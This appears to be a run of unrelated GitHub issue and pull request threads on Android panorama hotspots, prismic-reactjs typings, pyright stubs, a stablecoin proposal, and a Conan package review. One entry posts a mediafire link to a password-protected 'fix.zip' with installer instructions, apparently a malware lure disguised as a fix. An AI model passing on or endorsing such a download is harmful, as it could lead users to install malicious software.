HotSpot not work

on 1.9.1 panorama.addHotspot not work. Arrows are not displayed

Indeed, with #119 it will work again.
(Sadly the Espresso test hang and doesn't work)
But with mandatory #114 (fix for graphic memory consumption) the click in Emulator doesn't work anymore.
On Pixel 4 it works properly.
Any help is welcome

When you do
git revert 7e938a98bdc3b223
The click in Emulator will work again, because Emulator use PLOpenGLVersion1_0 but it found
OpenGL ES-CM 1.1 (4.1 Metal - 71.7.1)
No clue why PLOpenGLVersion1_0 works here.
Btw, with the revert, the memory consumption on real device is very high again

android version getter was wrong. i fixed it. On Samung A70 and Samsung A90 it works properly.

#120 tried to solve the click in Emulator, but it still not working.
On my Pixel 4 it made no difference

I think if we go back to version 1.8 and just change method getAndroidVersion , everything will be fine.

version 1.8.0 on Android <10 works fine . getAndroidversion method is get wrong on Android =>10. so I think if we go back to version 1.8 and just change method getAndroidVersion , everything will be fine.

version 1.8 and just change method getAndroidVersion -- Android 11

and on Emulator hotspots works.

whats your idea? @hannesa2

I've an suspect: the usage of getAndroidVersion() < 3
This is probably wrong, because it doesn't respect isEmulator() in getOpenGLVersion()
Only usage of getOpenGLVersion() is valid

override fun onLongPress(e: MotionEvent) {
    val x = e.x
    val y = e.y
    val screenWidth = resources.displayMetrics.widthPixels
    val screenHeight = resources.displayMetrics.heightPixels
    val normalizedX = x / screenWidth
    val normalizedY = y / screenHeight

    addHotspotAt(normalizedX, normalizedY, screenWidth, screenHeight)
    Toast.makeText(this, "${normalizedX}, ${screenHeight}", Toast.LENGTH_SHORT).show()
}

private fun addHotspotAt(
    normalizedX: Float, normalizedY: Float, screenWidth: Int, screenHeight: Int
) {
    // These values would ideally come from your panorama viewer or camera settings
    val currentYaw = plManager.panorama.camera.yaw
    val currentPitch = plManager.panorama.camera.pitch
    val fov = plManager.panorama.camera.fov  // Current FOV considering zoom
    val aspectRatio = screenWidth.toFloat() / screenHeight

    // Convert normalized screen coordinates to changes in yaw and pitch
    val yawChange = (normalizedX - 0.5f) * fov
    val pitchChange = (0.5f - normalizedY) * (fov / aspectRatio)

    // Calculate new yaw and pitch for the hotspot
    val hotspotYaw = (currentYaw + yawChange) % 360
    val hotspotPitch = currentPitch + pitchChange
    // Ensure pitch stays within bounds [-90, 90]
    val clampedPitch = hotspotPitch.coerceIn(-90f, 90f)

    // Now, create your hotspot at this new yaw and pitch
    createHotspot(hotspotPitch = clampedPitch, hotspotYaw = hotspotYaw)
}

private fun createHotspot(hotspotPitch: Float, hotspotYaw: Float) {
    val hotspot = ActionPLHotspot(
        this,
        System.currentTimeMillis(),
        PLImage(BitmapFactory.decodeResource(resources, R.raw.hotspot)),
        hotspotPitch,
        hotspotYaw,
        PLConstants.kDefaultHotspotSize,
        PLConstants.kDefaultHotspotSize
    )
    plManager.panorama.addHotspot(hotspot)
}


[EDA] System Tools: Courses: Description Data Migration

Critical Changes
Changes
Issues Closed
New Metadata
Custom Labels
stgBtnRunCopyA11y
stgCourseDataMigrationModalTitle
stgCourseDataMigrationModalBody
Unpackaged Metadata
Deleted Metadata
Testing Notes

QA Passes, Any outstanding questions can be addressed in parent PR.


Add ability for admin to limit the number of embeds

https://www.elkarte.net/community/index.php?topic=5406

Added functionality to 1.1.6 but w/o ACP setting .. setting (and new txt) to be added in 2.0.  So now moving this to 2.0


unit test for gobject-introspection version fails

Test for a specific version is a fragile test as today's run demonstrates.  It works for a while but will ultimately fail as software versions change.    Make it more robust (such as checking for a minimum version)

Actually, the test is for a minimum version.  The expected package requirement is missing in the upstream requirement.


Is this is a nodejs only module, or can it be used to run on websites with static hosting?

I am getting multiple errors:
Can't resolve 'tls' in 'forever-agent'
Can't resolve 'net' in 'forever-agent'

Hi @hacktronics , This module is for Nodejs and not for use directly on the web.
You could always make your implication by making a backend in expressJS or KoaJS (among other options) creating an API to communicate and send instructions to the bot from the front end


Create a GitHub Actions pipeline

The pipeline should currently verify the app by building it, tag it, and create/publish a docker image

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."


Session was terminated due to ORPHAN

What are you trying to achieve?
Fill a field with too long text string.
I.fillField('Много слов и символов, более 5к+');

What do you get instead?
Recurrent cycle with I.fillField() loop, mean text continue fill with same text again and again while browser timeout reached.

npx codeceptjs run --verbose` output:

    [1] Error | unknown error: java.net.ConnectException: Connection refused (Connection refused)
✖ FAILED in 119866ms
(node:6095) UnhandledPromiseRejectionWarning: unknown error: Session [a45131973530a1c29845754e40f9d25f] was terminated due to ORPHAN
    at getErrorFromResponseBody (/home/storenth/interfax/publishing-qa/webdriverio_ifx/node_modules/webdriver/build/utils.js:124:10)
    at Request._callback (/home/storenth/interfax/publishing-qa/webdriverio_ifx/node_modules/webdriver/build/request.js:111:64)
    at Request.self.callback (/home/storenth/interfax/publishing-qa/webdriverio_ifx/node_modules/request/request.js:185:22)
    at Request.emit (events.js:219:5)
    at Request.EventEmitter.emit (domain.js:482:12)
    at Request.<anonymous> (/home/storenth/interfax/publishing-qa/webdriverio_ifx/node_modules/request/request.js:1154:10)
    at Request.emit (events.js:219:5)
    at Request.EventEmitter.emit (domain.js:482:12)
    at IncomingMessage.<anonymous> (/home/storenth/interfax/publishing-qa/webdriverio_ifx/node_modules/request/request.js:1076:12)
    at Object.onceWrapper (events.js:308:28)
(node:6095) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). (rejection id: 1)
(node:6095) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.

Provide test source code if related

Scenario('e2e demo @mvc', async (I) => {
    I.amOnPage('/your/page');
    let writeNewsText = `Длинный текст 5к+ слов`;
    I.waitForVisible({ css: '[class=new-todo]'}, 15);
    I.fillField({ css: '[class=new-todo]'}, writeNewsText);
});

Details

CodeceptJS version<EMAIL_ADDRESS>NodeJS Version: v13.3.0
npm version: 6.13.4
Operating System: Ubuntu Linux
<EMAIL_ADDRESS>Configuration file:

WebDriver: {
      manualStart: false,
      url: process.env.CODECEPT_URL,
      host: process.env.SELENOID_HOST,
      port: parseInt(process.env.SELENOID_PORT),
      browser: 'chrome',
      desiredCapabilities: {
        selenoidOptions: {
          browserName: 'chrome',
          browserVersion: '75.0',
          enableVNC: true,
          enableLog: true,
          sessionTimeout: '7m'
        }
      },
      windowSize: 'maximize',
      waitForNavigation: [
        'load',
        'domcontentloaded',
        'networkidle0'
      ]
    }

Sorry, no ideas here


Repeating and missing number in an array

I have added the code for finding the repeating and missing number in an array using Python for issue #317
Kindly review it.

@yashmita just resolve this conflict and ping me here, its going to merge soon

@yashmita just resolve this conflict and ping me here, its going to merge soon

Done.

@rish-singhal LGTM


Not able to use react native skia with react native properly

Description
i'm not able to react native skia in a  in react native
its also not working with  from react native
Version
0.1.192
Steps to reproduce
<ImageBackground
source={imagePath.appBackground}
style={{ flex: 1, width: width }}
>
  <ScrollView
    style={styles.scrollView}
    showsVerticalScrollIndicator={false}
  >
  <CubeComponent2d />

  </ScrollView>
</ImageBackground>

Snack, code example, screenshot, or link to a repository
<ImageBackground
source={imagePath.appBackground}
style={{ flex: 1, width: width }}
>

  </ScrollView>
</ImageBackground>

Hi, @rachna-khatnawlia - it is a bit hard to understand why this is not working - please provide a simple stand-alone example that lets us know what you're trying to do - the CubeComponent2D is now a black box and its hard to find errors with black boxes :) :)

Hi, @rachna-khatnawlia - it is a bit hard to understand why this is not working - please provide a simple stand-alone example that lets us know what you're trying to do - the CubeComponent2D is now a black box and its hard to find errors with black boxes :) :)

hi, @chrfalch i have written code for the cube shape in a component named CubeComponent2D
it works fine if i import it in app.js like
<>

<>
but it doesn't work if i write it in Scrollview or View imported  from react-native i.e.

i am sharing my code my code of CubeComponent2:
//import liraries
import React from 'react';
import {Canvas, Group, Image, useImage, Skia} from '@shopify/react-native-skia';
// create a component
export const CubeComponent2d = () => {
const image = useImage(
'https://i.scdn.co/image/ab67616d0000b2733a5bc065989932c556d13103',
);
const leftstar = Skia.Path.MakeFromSVGString(
'M 0 30 L 120 0 L 120 210 L 0 175 Z',
);
const Rightstar = Skia.Path.MakeFromSVGString(
'M 0 0 L 210 50 L 120 175 L 0 210 Z',
);
return (
<>
{/* ---2d cube---- */}
<Canvas
style={{
flex: 1,
marginTop: 30,
// backgroundColor: 'red',
}}>

<Group
transform={[{translateY: 0}, {translateX: 120}]}
clip={Rightstar}>

</>
);
};

Closing due to inactivity.


How to make stdlib stubs work within a virtualenv

(Discussion moved from here.)
Aim: show lsp_hover docstrings for both pip-installed modules and stdlibs.
To achieve the latter, I made pyi-stubs. This works. 👌
However, once I switch to a virtual environment, that is, provide the venvPath and venv options in pyrightconfig.json, then the stdlib docstrings disappear. Everything else works: the packages installed in the virtual environment show their docstrings, as do the custom editable installs I put in the extraPaths (pyright doesn't seem to pick those up natively otherwise). It is only the pyi-stubs of the stdlib which don't show up.

See: pyrightconfig.json and LSP-pyright.sublime-settings .

BTW: If there are ways in which I can easily debug and troubleshoot this myself, I'm happy to do so. Still a newcomer to this project and not quite sure where to start.

It seems that pyright prefers its own typeshed stubs for stdlib but I am not sure. Set python.analysis.logLevel to Trace will provide more information for debugging. But since I don't know what's the expected output, I can't interpret them.
One thing works on my test is put stdlib stubs into typings/ under project root, but we don't want to do that for every project for sure...
One person may have a same issue: https://github.com/microsoft/pyright/issues/7016#issuecomment-2042476674

@jfcherng python.analysis.logLevel in the LSP-pyright.sublime-settings: should I see this output under "LSP: Toggle Log Panel" or elsewhere?
I don't see any difference right now between "Information" and "Trace" in that Log Panel output.

@jfcherng python.analysis.logLevel in the LSP-pyright.sublime-settings: should I see this output under "LSP: Toggle Log Panel" or elsewhere? I don't see any difference right now between "Information" and "Trace" in that Log Panel output.

either in the panel or the console.

I looked into the logs. It seems in all cases this directory is loaded
~/Library/Caches/Sublime Text/Package Storage/LSP-pyright/21.7.1/language-server/node_modules/pyright/dist/typeshed-fallback/stdlib
and the custom stdlib-pyi directory is listed as part of the extraPaths in the logs but then not considered.

When I have venv enabled, then it ignores the docstrings of built-ins all-together, including os and json which have docstrings as shipped with Python. ❌
When I don't have venv enabled, then it reads the docstrings from the source (e.g. os.py and json/__init__.py) where its present ✅; and where not (e.g. str.strip) it shows no docstrings. ❌
When I manually edit ~/Library/Caches/Sublime Text/Package Storage/LSP-pyright/21.7.1/language-server/node_modules/pyright/dist/typeshed-fallback/stdlib/builtins.pyi and add docstrings to strip, then it shows up correctly. ✅

So the only very hacky solution I can think of right now is to overwrite … /typeshed-fallback/stdlib/builtins.pyi and the like with versions with docstrings; it seems there must be a better way?

OK. I see that, for Pylance, it puts users' extraPaths before bundled typeshed, so user's stdlib stubs works... while in Pyright, the bundled typeshed always is the first.

I may just suggest to ask the pyright official: I have a custom stdlib stubs with docstrings (but it doesn't have type annotation unfortunately). How to use it with the builtin stdlib typeshed-fallback?

A finding is that, by revise the extension of our stdlib stubs from .pyi to .py, Pyright seems to consider they are source codes with docstrings and adds typeshed's type annotations to it and resulting in a perfect output.
stdlib-win64.zip

Thanks @jfcherng. I opened a discussion at pyright. It seems to me, pyright should consider including native support for builtin docstrings as manual generation seems somewhat difficult to maintain.

I think https://github.com/sublimelsp/LSP-pyright/issues/325#issuecomment-2085239473 is 99% perfect, unless you want to see stdlib's real source codes.


Enum.Materials summary updated what classes they work on.

Updated multiple materials summary's regarding if they work on 'BasePart' and 'Terrain', as most of them now work on 'BasePart' as-well.
Changes
Changed summary on multiple materials that were previously marked as "Applies to 'Class.Terrain' only." to "Applies to 'Class.BasePart' and 'Class.Terrain'." as these materials now work on both.

Checks
By submitting your pull request for review, you agree to the following:

[x] This contribution was created in whole or in part by me, and I have the right to submit it under the terms of this repository's open source licenses.
[x] I understand and agree that this contribution and a record of it are public, maintained indefinitely, and may be redistributed under the terms of this repository's open source licenses.
[x] To the best of my knowledge, all proposed changes are accurate.

Great catch! Thanks for the submission.


[RFP]: SORA Kensetsu (建設)

Proposal Due Date
August 2023
Proposal Overview
SORA Kensetsu (建設) (similar to Maker DAO)
Phase 1
Lock up tokens that are over-collateralized in individual vaults with stability fees, similar to Maker DAO. When the value of collateral in a vault < value of KUSD (SORA Kensetsu USD) debt from the vault, the vault will be liquidated on Polkaswap to buy back and burn KUSD.
A stability fee is charged daily from all vaults and those funds are put into a technical account that is used to buy back and burn KUSD if KUSD goes under $1. XOR token holders govern the system by voting on extrinsics on-chain.
To encourage XOR-KUSD liquidity, a percent of the stability fees collected would go to LPs that stake their XOR-KUSD liquidity on Demeter farm.
Extrinsics (should be voted on by governance):
AddVaultType
Inputs:

collateral asset id: id of the asset to add as a collateral
debt limit: upper limit of amount of KUSD that can be in circulation at any time, minted using this collateral
collateralization ratio: amount of collateralization in percent needed to mint KUSD (e.g., 200% would mean only 1 KUSD would be minted for every 2 KUSD worth of collateral locked up in the vault)
stability fee: % per year charged pro rata for keeping a vault active (e.g., 365% would mean 1% of the collateral would be taken out per day from the vault)
liquidity incentive percent: % of the stability fee that goes to Demeter farm to reward XOR-KUSD LPs (e.g., 50% would mean half of the collected stability fee from vaults of this collateral type would go to Demeter farm to reward XOR-KUSD LPs)

SetDebtLimit
Inputs:

collateral asset id: id of the asset to add as a collateral
debt limit: upper limit of amount of KUSD that can be in circulation at any time, minted using this collateral

SetCollateralStabilityFee
Inputs:

collateral asset id: id of the asset to add as a collateral
stability fee: sets a new stability fee for vaults with the collateral used

SetLiquidityIncentivePercent
Inputs:

collateral asset id: id of the asset to add as a collateral
liquidity incentive percent: % of the stability fee that goes to Demeter farm to reward XOR-KUSD LPs

RemoveVaultType
Inputs:

collateral asset id: id of the asset to remove as a collateral; existing vaults will not disappear, but new vaults won’t be able to be created with this collateral

Extrinsics (can we executed by anyone):
Create Vault
Inputs:

vault type: id of the vault type (collateral id + collateralization ration + stability fee)
deposit amount: amount of collateral to deposit to mint KUSD

Add Collateral
Inputs:

vault type: id of the vault type (collateral id + collateralization ration + stability fee)
deposit amount: amount of collateral to deposit to increase the collateral; this will just deposit collateral and not mint KUSD

Destroy Vault
Inputs:

vault id: id of the user's vault to redeem (people can only redeem their own vaults and it has to be all or nothing)
KUSD: amount of KUSD needed to destroy the vault and return their collateral, destroying the vault; this KUSD is burned

Phase 2
Allow swaps to and from approved stablecoins similar to the Peg Stability Module in Maker DAO.
Proposal Goals
We should have over-collateralized stablecoins that lock up XOR, VAL, PSWAP, XST, XSTUSD, and TBCD. This will reduce the circulating XOR supply and help boost confidence in the SORA economy, while providing very convenient stablecoins for people to use in their dApps.
Builders can also lock up their TBCD to mint KUSD instead of XOR, so it will help reduce the increase in the XOR token supply.
Scope of Work
Phase 1 should be the first release.
Phase 2 should be in the future.
Current Roadblocks and Barriers to Success
I tried to define all the extrinsics and functions needed, but perhaps there is something that was missed.
Evaluation Metrics and Criteria
Implement and launch Phase 1 so we can use it!
Submission Requirements
That we can use Phase 1 features to mint KUSD from collateral.
Submission Method
Blockchain: Mainnet
Project Due Date
No response
Budget Amount
No response

Available as development milestone 15

After reviewing the RFP again, I think it makes sense to split the vault types into two types that have slightly different properties:
Type 1: Pays stability fee in the underlying collateral into a central stability pool, at a % determined by the Type 1 stability fee. Type 1 vaults only need to return the initially minted stable coins to get the remaining collateral that hasn't been paid in stability fees. Type 1 vaults cannot be liquidated.
Type 2: Pays stability fees at the time of redeeming minted stable coins + % of extra stable coins determined by the Type 2 stability fee. Type 2 vaults can be liquidated if collateralization ratio goes too low.


R E A D T H i S !!!!! xD

Hello everyone. Im having a little trouble about installing Visual F#. Can you kindly help me to fix it? I need an installer of it exclusively for Windows XP. Contact me via yahoomail<EMAIL_ADDRESS>or via facebook (www.facebook.com/ellajeancesar or ellajeanorongan@yahoo.com). Thank you.

I see two options to try out on http://fsharp.org/use/windows/
First make sure you have dotnet framework 4 installed
Option 6: Run already compiled F# code on servers
try to install this, despite it doesn't mention XP, worth a look:
http://www.microsoft.com/en-us/download/details.aspx?id=44011
Option 5: Build F# from source
I think this should be supported

Thanks. :)

Thank you Pal.

By the way. What do you think is the best programming language that i should learn to do? Cause im not the type of persons that want to program useless applications, my prof says that it is best to learn Web-Based application. Do you guys agree?


Allow comparing arrays to objects [Fixes #7]

Fixes an exception that occurs when comparing objects to array.
Allows comparing objects to arrays and vice versa (to comply with a the strict interpretation of the existing documentation).
Adds tests comparing objects to arrays and vice versa using both keys and indexes.
Builds the change into index.js.

Now we just fail when trying to compare Array and Object. I think your change is good, because we have a check that argument must be either Array or Object.

@deckar01 your changes available as 0.2.0 version

Thank you for bumping the npm version.


Set-TppPermission - replaces all existed permissions

Environment
Operating System: win
VenafiPS version: 5.4.1
PowerShell version: 7
TPP version (if applicable): 22.4

Steps to reproduce
$list=find-TppObject -Path '\ved\policy' -Class 'Policy'|Get-TppPermission
$i = 1
foreach ($identity in $list) {
if (($identity).EffectivePermissions.IsWriteAllowed ) {
Set-TppPermission -Path $identity.Path -IdentityId $identity.IdentityId   -Permission @{IsPrivateKeyReadAllowed=$true}
}
$i++
}

Expected behavior
I'd expect only a single permission being added.

Actual behavior
all other permissions are reset ( removed)

Screenshots

Hi @tall27.  This is how the function currently is expected to work.  -Permission expects a full permissions object
.PARAMETER Permission
TppPermission object.  You can create a new object or get existing object from Get-TppPermission.

Only providing individual permissions will cause the rest to be set to false.  We could look to make an enhancement to override this behavior and update an existing permissions object individual perms.
For now, I'd suggest what the parameter help states.  Get the existing via Get-TppPermission, update the perms you'd like, and send that as your permissions object.

@tall27 would you mind testing the update?


Proposed TypeScript typings #42

Suggest updated typings for issue #42
I am not completely familiar with the libraries and dependencies but these typings should be a bit clearer and usable.
Currently the project does not build typings into its distribution, so I have copied these typings into my project as such:
declare module 'prismic-reactjs' {
  import React from 'react';

  enum Elements {
    heading1 = 'heading1',
    heading2 = 'heading2',
    heading3 = 'heading3',
    heading4 = 'heading4',
    heading5 = 'heading5',
    heading6 = 'heading6',
    paragraph = 'paragraph',
    preformatted = 'preformatted',
    strong = 'strong',
    em = 'em',
    listItem = 'list-item',
    oListItem = 'o-list-item',
    list = 'group-list-item',
    oList = 'group-o-list-item',
    image = 'image',
    embed = 'embed',
    hyperlink = 'hyperlink',
    label = 'label',
    span = 'span',
  }

  export type HTMLSerializer<T> = (
    type: ElementType,
    element: any,
    text: string | null,
    children: T[],
    index: number
  ) => T;
  export interface RichTextProps {
    Component?: React.ReactNode;
    htmlSerializer?: HTMLSerializer<T>;
    linkResolver?: () => string;
    serializeHyperlink?: () => string;
    render: () => React.DOMElement;
  }

  class RichText extends React.Component<RichTextProps, any> {
    static asText(text: string): string;
  }

  interface Link {
    url(link: any, linkResolver?: (doc: any) => string): string;
  }

  const Link: Link;
  const Date: Date = <string>(): Date => {};

  export { RichText, Elements, Link, Date };
}

 import React, { ElementType } from "react";

 import React, { ElementType } from "react";

@ohlr if you can supply the error / linting output that would help me address those.

Cannot find name 'T'.ts(2304)
Generic type 'DOMElement<P, T>' requires 2 type argument(s).ts(2314)
'string' is declared but its value is never read.ts(6133)
Initializers are not allowed in ambient contexts.ts(1039)
Type '() => Date' is missing the following properties from type 'Date': toDateString, toTimeString, toLocaleDateString, toLocaleTimeString, and 37 more.ts(2740)
types.d.ts(52, 22): Did you mean to call this expression?
Type parameter name cannot be 'string'.ts(2368)

@ohlr I'm not getting these errors...it's all green for me.
Did you manage to find what the issue was?

I also get some issue around Date.
I'm curious if it can be related to #33 ?

How does something like this work to address the issue around Date as well as the issues mentioned by @ohlr above?
declare module "prismic-reactjs" {

	enum Elements {
		heading1 = "heading1",
		heading2 = "heading2",
		heading3 = "heading3",
		heading4 = "heading4",
		heading5 = "heading5",
		heading6 = "heading6",
		paragraph = "paragraph",
		preformatted = "preformatted",
		strong = "strong",
		em = "em",
		listItem = "list-item",
		oListItem = "o-list-item",
		list = "group-list-item",
		oList = "group-o-list-item",
		image = "image",
		embed = "embed",
		hyperlink = "hyperlink",
		label = "label",
		span = "span",
	}

	export type RichTextSpan = {
		start: number;
		end: number;
		type: "strong" | "hyperlink";
		data?: {
			link_type: string;
			url: string;
			target?: string;
		};
	};

	export type RichTextBlock = {
		type: Elements;
		text: string;
		spans: RichTextSpan[];
	};

	export type HTMLSerializer<T> = (
		type: React.ElementType,
		element: any,
		content: string,
		children: T[],
		key: string
	) => T | null;

	export interface RichTextProps {
		Component?: React.ReactNode;
		elements?: {};
		htmlSerializer?: HTMLSerializer<React.ReactNode>;
		linkResolver?: () => string;
		render?: RichTextBlock[];
		renderAsText?: any;
		serializeHyperlink?: () => React.ReactNode;
	}

	export const RichText: React.FC<RichTextProps> & {
		asText: (input: RichTextBlock[]) => string;
		render: (input: RichTextBlock[]) => React.ReactNode;
		displayName: "RichText";
	};

	interface LinkProps {
		url(link: any, linkResolver?: (doc: any) => string): string;
	}

	export const Link: React.FC<LinkProps> & {
		url: (link: any, linkResolver?: (doc: any) => string) => string;
	};

	interface PrismicDate {
		(date?: string): Date;
	}

	export const Date: PrismicDate;
}

@sessa the render method needs to be static, for it to be called like so:
RichText.render(...)
@schwigri I really like your suggestion! Especially because of the RichTextBlock addition. I'm pretty new to using this library, so I'm not sure if I can help much in expanding it further ATM.

 const Date: (date: string) => Date;

@schwigri works like charm!

Do you think it makes sense to add these 2 types in there as well?
  export type PrismicLink = {
    url: string;
    __typename: string;
  };

  export type PrismicImage = {
    alt: string;
    copyright: string;
    dimensions: {
      width: number;
      height: number;
    };
    url: string;
  };

You can use them when getting data from prismic, to type your response.

@noblica I think it makes sense if prismic-javascript doesn't have these typings already. Let me know when you guys think it's ready, I'll find someone with actual ts experience to review and merge it

@noblica

Do you think it makes sense to add these 2 types in there as well?
  export type PrismicLink = {
    url: string;
    __typename: string;
  };

  export type PrismicImage = {
    alt: string;
    copyright: string;
    dimensions: {
      width: number;
      height: number;
    };
    url: string;
  };

You can use them when getting data from prismic, to type your response.

I believe this it outside of the scope of this repo. This is something you would potentially want to declare in your own project as part of its typings IMHO. It doesn't have anything directly to do with rendering rich text.

Hey @codingwithchris thansk for the feedback. Since this is what the graphql query returns when you query prismic, I think it should be part of either this, or prismic-javascript library. But that's just my suggestion, if people feel that it doesn't belong then I'm fine with not adding it.
@sessa Why would you use an enum Elements instead of something like:
type Elements = 'heading1' | 'heading2' | 'heading3' | ... ?

@hypervillain looking forward to the merge - please note that the typings need to be moved out of the subfolder to the root level to be picked up by editors like VSCode

HI, Thanks for the PR and code suggestions :)
I've made a PR here https://github.com/prismicio/prismic-reactjs/pull/66
Let me know if there anything else you would like added before I submit it for review.


add test for healing from vote blocks with different beacon

Motivation

follow-up on https://github.com/spacemeshos/go-spacemesh/pull/2916. add test

Changes

add test for healing counting votes from bad beacon blocks
Test Plan

unit test
DevOps Notes

[x] This PR does not require configuration changes (e.g., environment variables, GitHub secrets, VM resources)
[x] This PR does not affect public APIs
[x] This PR does not rely on a new version of external services (PoET, elasticsearch, etc.)
[x] This PR does not make changes to log messages (which monitoring infrastructure may rely on)

bors merge


skip the gemv_eye_4bit test

Skip test_gemv_eye_4bit for CDNA2

@Lzy17, could you create another variable and skip it just for gfx90a?


Semantic syntheses

We're currently doing pretty well synthesis-wise, supporting stuff like case classes, case objects, default getters, implicit classes, param accessors, evidence parameters and value classes.
However, this is all purely syntactic, since because so far Rsc cannot perform name resolution during synthesis. As a result, the following functionality is missing:

Not generating members like toString if there is an implementation in a parent.
Not extending classes like Serializable if there the class is already extended in a parent.

The list of architectural problems with the synthesizer:

Synthetic definitions must be manually passed to scheduler
Scheduler automatically creates synthetic symbols and enters them into appropriate scopes
Synthetic parents must be manually inserted in scoper
Syntheses can only be syntax-driven
Synthetics must have fake positions in order to be eligible for becoming part of SemanticDB
TemplateScope only contains symbols, whereas parents are types

It looks like we need to add syntheses into the task graph, alongside scopes and outlines. We also need to properly set up dependencies, so that e.g. members of yet unsynthesized templates can't be outlined before the syntheses are complete.


Update Twitter Util to 7.1.0 (and switch to SBT 1.0)

These should be separate PRs but I'm in a hurry. I've removed WartRemover because I've never really found it useful for this project and it's not available for SBT 1.0.
Of course the SBT upgrade breaks random stuff (in this case incremental compilation, apparently): if you check out 60ac81d, build, then check out 132b612 and build again, you get this error:
[error] Symbol 'type io.catbird.finagle.ServiceInstances' is missing from the classpath.
[error] This symbol is required by 'package io.catbird.finagle.package'.
[error] Make sure that type ServiceInstances is in your classpath and check for conflicting dependencies with `-Ylog-classpath`.
[error] A full rebuild may help if 'package.class' was compiled against an incompatible version of io.catbird.finagle.
[error] one error found

Cleaning fixes it, and I don't really care enough to try to figure out why it's happening.

Codecov Report

Merging #47 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master      #47   +/-   ##
=======================================
  Coverage   65.61%   65.61%
=======================================
  Files          12       12
  Lines         253      253
  Branches        2        2
=======================================
  Hits          166      166
  Misses         87       87

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 5dfabdf...132b612. Read the comment docs.


Hotkey feature

I'd like to see a similar feature like in GPMDP where you can assign key combos to different actions.
Thanks for your effort on this. I've been trying to use YTM and GPM simoultaneous everywhere, and this together with Google Play Music Desktop Player makes it really easy.

Thank you for submitting an issue. 😃
I think this is a great idea, especially for people using keyboards without media keys.
I am unsure of when, but this will surely be added, since I am already planning on adding a settings window.


Inclusion request apache-apr/1.6.3@jgsogo/stable

Inclusion Request Review
This is a review for apache-apr/1.6.3@jgsogo/stable (jgsogo/conan-packages) inclusion request to conan-center.
This review follows the inclusion guidelines or third party libraries.
Package
apache-apr/1.6.3@jgsogo/stable
Checks and Comments
Recipe quality

[x] Git public repository
[ ] Recipe fields
Description missing.
[x] Linter
[x] Updated
[x] Clean
[ ] test_package

Not working because of missing packages for OSX

[x] LICENSE of the recipe
[ ] LICENSE of the library

Missing package the license of the library in every bin package
CI Integration

[ ] (If not header only) CI configurations for Linux/MacOSX/Windows

No binary packages for many platforms. No windows, No debug packages?
Bintray Package Information

[x] Description
[x] Licenses
[ ] Tags
[ ] Maturity
[ ] Website (if any)
[ ] Issue tracker
[x] Version control

Additional comments
There are some outdated packages, clean them up with:
conan remove apache-apr/1.6.3@jgsogo/stable --outdated -r bincrafters
It looks like a C library, but you are not removing the compiler.libcxx setting:
      def configure(self):
          del self.settings.compiler.libcxx

Packages matrix:

Much better now. There were a couple of errors (one of them in conan_sword_and_sorcery) but now I think it has much better looking:

[x] Recipe fields: description
[x] Macos: apple-clang 7.3 <-- I don't know what you mean in your comment.
[x] LICENSE of the library inside the package
[x] CI for win/linux/mac (bug fixed in conan_sword_and_sorcery)
[x] Bintray info: maturity
[x] Bintray info: website
[x] Removed outdated packages
[x] Removed libcxx from settings
[x] Updated matrix:

Questions:

any suggestion for tags?
issue tracker, should I point to Apache's Jira?

About the matrix: windows seems to encode headers as <build_type> <arch> while unix makes them as <arch> <build_type>, is it ok?

Wait! Just realized a bug: clang jobs are being compiled with gcc (https://travis-ci.org/jgsogo/conan-apache-apr/jobs/351413547#L742). :/

Fixed! Here it is... but maybe others building with AutoTools have the same issue... maybe it is better to remove gcc compiler from those dockers.

I managed to fix it defining CC and CXX environment variables in the profile files I'm using to run conan create (it is a fix/workaround in my conan_sowrd_and_sorcey that fits your docker images... vamos, una ñapa).
Go ahead!

@lasote... I think it deserves a new iteration.

haha, yes, It deserves it. On my way!

Missing binaries for apple-clang > 7.3 (8.1 and 9.0)

Why move all the installed files to subfolder apr-1? Will it require to change the way people include the headers?

issue_tracker_url field missing in bintray package page:

[ ] Running right now with more apple-clang jobs
[ ] Linux already copies includes into a apr-1 folder
[ ] About the issue tracker, I asked you before: should I point to Apache's Jira?

The issue tracker should be https://github.com/jgsogo/conan-apache-apr/issues.
About the apr-1 folder, I don't get it. So the Linux builds copy the things to apr-1 but in other OS is in the root? WTF? My concern is, if you search for examples of this library (http://dev.ariel-networks.com/apr/apr-tutorial/sample/mp-sample.c) the includes point directly to the root:
#include <apr_general.h>
#include <apr_pools.h>

As you can see, the linux stuff is not modified at all during build stage... in fact Windows with CMake seems to be experimental (look here).
Options:

Use VS to build link
keep Windows unmodified and add an extra include_dir for Linux or Windows
keep these modifications for Windows and do not add any additional include_dir.

Although, if examples uses them without the apr-1, the final solution must go in that direction... we should look for up-to-date examples.

We could do a trick: self.cpp_info.includedirs.append("apr-1") so the includes will be located without the prefix too 📦

Yes, and the test_package example, what do we put in the example? XD
Ok, I can do it and remove customizations, but there is a pending task: look for examples, tutorials,... and wait for version 2.0 to fix it.

I have to give it a try, because it has to be compatible with the [apache-apr-util](https://github.com/jgsogo/conan-apache-apr-util] recipe and with the apache-log4cxx one :/

Sure, check it, but we are just -adding- an additional include directory self.cpp_info.includedirs.append("apr-1"), the default one is to the package/include and we add other to the package/include/apr-1

I'm thinking about removing all the customization for Windows, but I don't know if it worths it...

Will go without the apr-1 extra directory as it is now so consumer will use #include "apr.h", so I have to modify recipe for linux:

for CMake add the nested folder into includedirs (may remove the default <package>/include as it is not needed)
for pkg-config work following this approach https://github.com/conan-io/conan/issues/2619#issuecomment-373744305 to get rid of abs path for include prefix.

Done! Although I'm facing a weird error for apple-clang 9.0 (7.3 and 8.1 works fine). Is there something wrong with osx_image: xcode9.0?

Use  xcode9.2

@lasote, let's see if it all is ok and we can move forwards.

I've an issue on OSX:
apache-apr/1.6.3@jgsogo/stable (test package) imports(): Copied 2 '.dylib' files: libapr-1.0.dylib, libapr-1.dylib
apache-apr/1.6.3@jgsogo/stable (test package): Running build()
-- The CXX compiler identification is AppleClang <IP_ADDRESS>00039
-- Check for working CXX compiler: /usr/local/opt/ccache/libexec/c++
-- Check for working CXX compiler: /usr/local/opt/ccache/libexec/c++ -- works
